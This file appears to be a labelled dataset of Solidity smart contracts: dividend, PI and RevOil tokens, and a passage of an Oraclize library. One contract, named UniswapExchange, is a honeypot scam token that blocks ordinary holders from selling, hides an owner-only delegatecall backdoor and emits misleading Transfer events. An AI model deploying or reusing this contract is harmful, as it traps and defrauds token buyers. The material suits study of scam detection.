function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return this.balance;
}
function totalSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus)
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress)
view
public
returns(uint256)
{
return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout);
return _taxedEthereum;
}
}
function buyPrice()
public
view
returns(uint256)
{
if(tokenSupply_ == 0){
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.add(SafeMath.add(_ethereum, _dividends), _fundPayout);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereumToSpend, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereumToSpend, _dividends), _fundPayout);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_ethereum, fundFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_ethereum, _dividends), _fundPayout);
return _taxedEthereum;
}
function etherToSendFund()
public
view
returns(uint256) {
return SafeMath.sub(totalEthFundCollected, totalEthFundRecieved);
}
function purchaseInternal(uint256 _incomingEthereum, address _referredBy)
notContract()
internal
returns(uint256) {
uint256 purchaseEthereum = _incomingEthereum;
uint256 excess;
if(purchaseEthereum > 2 ether) {
if (SafeMath.sub(address(this).balance, purchaseEthereum) <= 200 ether) {
purchaseEthereum = 2 ether;
excess = SafeMath.sub(_incomingEthereum, purchaseEthereum);
}
}
purchaseTokens(purchaseEthereum, _referredBy);
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
antiEarlyWhale(_incomingEthereum)
internal
returns(uint256)
{
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100);
uint256 _referralBonus = SafeMath.div(_undividedDividends, 3);
uint256 _fundPayout = SafeMath.div(SafeMath.mul(_incomingEthereum, fundFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(SafeMath.sub(_incomingEthereum, _undividedDividends), _fundPayout);
totalEthFundCollected = SafeMath.add(totalEthFundCollected, _fundPayout);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != msg.sender &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
){
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if(tokenSupply_ > 0){
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / (tokenSupply_));
_fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_))));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[msg.sender] = SafeMath.add(tokenBalanceLedger_[msg.sender], _amountOfTokens);
int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee);
payoutsTo_[msg.sender] += _updatedPayouts;
onTokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum)
internal
view
returns(uint256)
{
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial**2)
+
(2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))
+
(((tokenPriceIncremental_)**2)*(tokenSupply_**2))
+
(2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
)/(tokenPriceIncremental_)
)-(tokenSupply_)
;
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens)
internal
view
returns(uint256)
{
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))
)-tokenPriceIncremental_
)*(tokens_ - 1e18)
),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2
)
/1e18);
return _etherReceived;
}
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,551 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract PI is StandardToken {
string public constant name = "PI";
string public constant symbol = "PI";
uint32 public constant decimals = 18;
uint256 Total_Supply = 3141592653589793238;
address First_Owner = 0xe90fFFd34aEcFE44db61a6efD85663296094A09c;
function PI() {
totalSupply = Total_Supply;
balances[First_Owner] = Total_Supply;
}
} | 1 | 3,615 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RevOil";
string public constant TOKEN_SYMBOL = "RVL";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xF425D5297e9A9bb52Da8F927c28cA789A7401fd8;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[2] memory addresses = [address(0xf425d5297e9a9bb52da8f927c28ca789a7401fd8),address(0xf425d5297e9a9bb52da8f927c28ca789a7401fd8)];
uint[2] memory amounts = [uint(200000000000000000000000),uint(2000000000000000000000000)];
uint64[2] memory freezes = [uint64(0),uint64(1559941201)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 2,755 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,210 |
pragma solidity ^0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
